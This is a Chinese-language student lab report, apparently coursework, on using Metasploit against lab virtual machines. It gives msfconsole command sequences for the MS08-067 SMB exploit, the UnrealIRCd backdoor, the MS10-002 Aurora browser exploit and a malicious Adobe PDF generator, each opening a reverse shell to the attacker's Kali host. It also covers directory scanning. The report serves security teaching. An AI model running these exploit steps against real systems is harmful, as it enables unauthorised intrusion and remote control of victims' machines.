1. 实验目的
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
2. 实验内容
- 一个主动攻击实践,如ms08_067。
- 一个针对浏览器的攻击,如ms11_050。
- 一个针对客户端的攻击,如Adobe。
- 成功应用任何一个辅助模块。
3. 基础知识
MSF的各个模块:
模块名称 | 作用 |
---|---|
auxiliary | 负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块 |
exploits | 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动) |
payloads | 成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型,分别是single、stages和stagers。shellcode是特殊的payload,用于获取shell。 |
encoders | 对payload进行加密,躲避杀软检查 |
nops | 用于构造空指令区,避免shellcode执行时受到内存地址随机化、返回地址计算偏差等影响 |
post | 后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息等操作 |
4. 实验步骤
实验环境:攻击机:kali,IP:192.168.0.103。
靶机1:Windows XP PRO sp2 英文版,IP:192.168.0.102;靶机2:Metasploitable2,IP:192.168.0.107;靶机3:Windows 7 专业版,IP:192.168.0.108。
4.1. 一个主动攻击实践
4.1.1. 扫描后进行MS08-067攻击(不唯一)
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
-
输入
nmap -O -n -T4 -p 445 --script smb-vuln-ms08-067 192.168.0.102
扫描靶机操作系统,同时确认靶机是否存在smb漏洞。 -
从扫描结果中可以看出,靶机操作系统为 Windows 2000或XP或2003,并存在MS08-067漏洞,接下来使用metasploit来进行攻击。
-
进入msfconsole,输入
search ms08-067
,可以看到攻击模块。
-
use exploit/windows/smb/ms08_067_netapi
,使用该模块。输入set RHOST 192.168.0.104
设置为XP的IP地址 -
payload设置为
windows/meterpreter/reverse_tcp
,并设置LHOST和LPORT:
-
输入
run
执行攻击,可以发现连接到了xp主机,并获得了系统权限。
4.1.2. unrealiRcd后门漏洞(唯一)
Metasploitable2
虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。
在Metasploitable2的6667
端口上运行着UnreaIRCD IRC的守护进程。这个版本包含一个后门,通过在一个系统命令后面添加两个字母”AB“发送给被攻击服务器任意一个监听该端口来触发。metasploit上已经已经有攻击模块来获得一个交互的shell,
-
在msfconsole中输入
search Unreal IRCD
搜索Unreal IRCD相关利用模块:
-
使用以下模块,
use exploit/unix/irc/unreal_ircd_3281_backdoor
。 -
查看可用payloads并选择使用合适payload:
show payloads
set payload cmd/unix/reverse_perl
show options
set RHOSTS 192.168.0.107 #设置被攻击的IP
set LHOST 192.168.0.103 #设置回连IP
set LPORT 4317 #设置回连端口
- 输入run执行,可以看到我们成功利用了该后门漏洞,并获取到了一个root权限的shell:
4.2. 一个针对浏览器的攻击,MS10-002(不唯一)
-
漏洞简介:针对微软Internet Explorer“极光”内存损坏的攻击,当用户查看特制网页时允许远程执行代码。主要过程,参考:博客:
- 攻击者生成一个url,通过挂黑链或者钓鱼网站,使攻击者访问此url
- 被攻击者访问url,与url的地址建立TCP连接,发送httpget请求,url地址服务器回复http 200 ok(内容包含填充date,payload),让被攻击者浏览器程序产生缓冲区溢出
- 被攻击者执行payload,主动与攻击者主机建立shell的tcp连接,使攻击者拿到shell控制权
-
在msfconsole中输入
search ms10-002
查找并使用相关模块,我使用的是exploit/windows/browser/ms10_002_aurora
(另一个模块执行失败了):
-
payload使用
windows/meterpreter/reverse_tcp
,输入show option
查看有哪些信息需要设置:
set SRVPORT 80 #设置提供服务的端口
set URIPATH / #设置被攻击机访问的URI路径
-
输入
exploit -z
,启动服务并开始监听:
-
在XP中打开IE浏览器,输入
http://192.168.0.103/
,回到kali中可以看到已经获得了主机的shell,尝试提权成功:
4.3. 针对客户端的攻击,Adobe漏洞(不唯一)
-
漏洞简介:这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出。
-
使用
windows/fileformat/adobe_cooltype_sing
模块,设置payload为windows/meterpreter/reverse_tcp
,并设置其它信息,生成pdf文件:
msfconsole
use windows/fileformat/adobe_cooltype_sing #选择攻击模块
set payload windows/meterpreter/reverse_tcp #设置payload
set LHOST 192.168.0.103 #回连IP
set LPORT 4317 #回连端口
set FILENAME 20174317.pdf #设置生成的pdf文件名
exploit #生成文件
-
参考实验二,在kali中开启监听:
-
将生成的pdf文件拷贝到虚拟机中并使用pdf-reader打开,发现已经回连成功。
4.4. 辅助模块攻击,使用dir_scanner搜索网站目录(不唯一)
-
dir_scanner是Metasploit中的一个辅助模块,用于网页目录结构扫描,通过
use uxiliary/scanner/http/dir_scanner
命令使用。 -
主要需要设置三个参数,
RHOHTS
指定要扫描的IP或网址;RPORT
指定要扫描的端口;THREADS
指定扫描使用的线程,小数值不容易被发现。
use auxiliary/scanner/http/dir_scanner #使用扫描模块
set RHOSTS 192.168.0.107 #设置被扫描的IP
set THREADS 30 #设置线程
- 扫描结果如下:
5. 问题回答
用自己的话解释什么是exploit,payload,encode。
我觉得exploit就像是突击兵,主要是用来主动发起攻击的。payload是攻击载荷,攻击时需要执行的代码,像是突击兵用来攻击的武器。encode是编码,可以用于消除坏字符和将shellcode变形,就像是伪装,防止payload在运行前被拦截或识别出来。
离实战还缺些什么技术或步骤?
感觉和实战还差的很远。如果是针对主机的攻击的话还缺信息收集的步骤,比如扫描主机获取服务,还需要掩盖自己的攻击的痕迹。如果是针对客户端的攻击的话,除了信息收集以外,还缺乏诱使用户运行或打开有后门的文件的步骤。
6. 实验体会和感悟
从这次实验里我体会到了做一个工具小子的乐趣。这次实验让我更熟悉了Metasploit的使用,而想要理解我执行的各种攻击背后的原理还需要更多的努力。这次实验感觉并不是很像我想象中的先收集信息,再判断有没有漏洞,然后再攻击。而是简单粗暴的use、set、run,而且搭一个能用的靶机也花了很多时间。这次实验也让我体会到了安装杀软和及时更新软件和操作系统的重要性。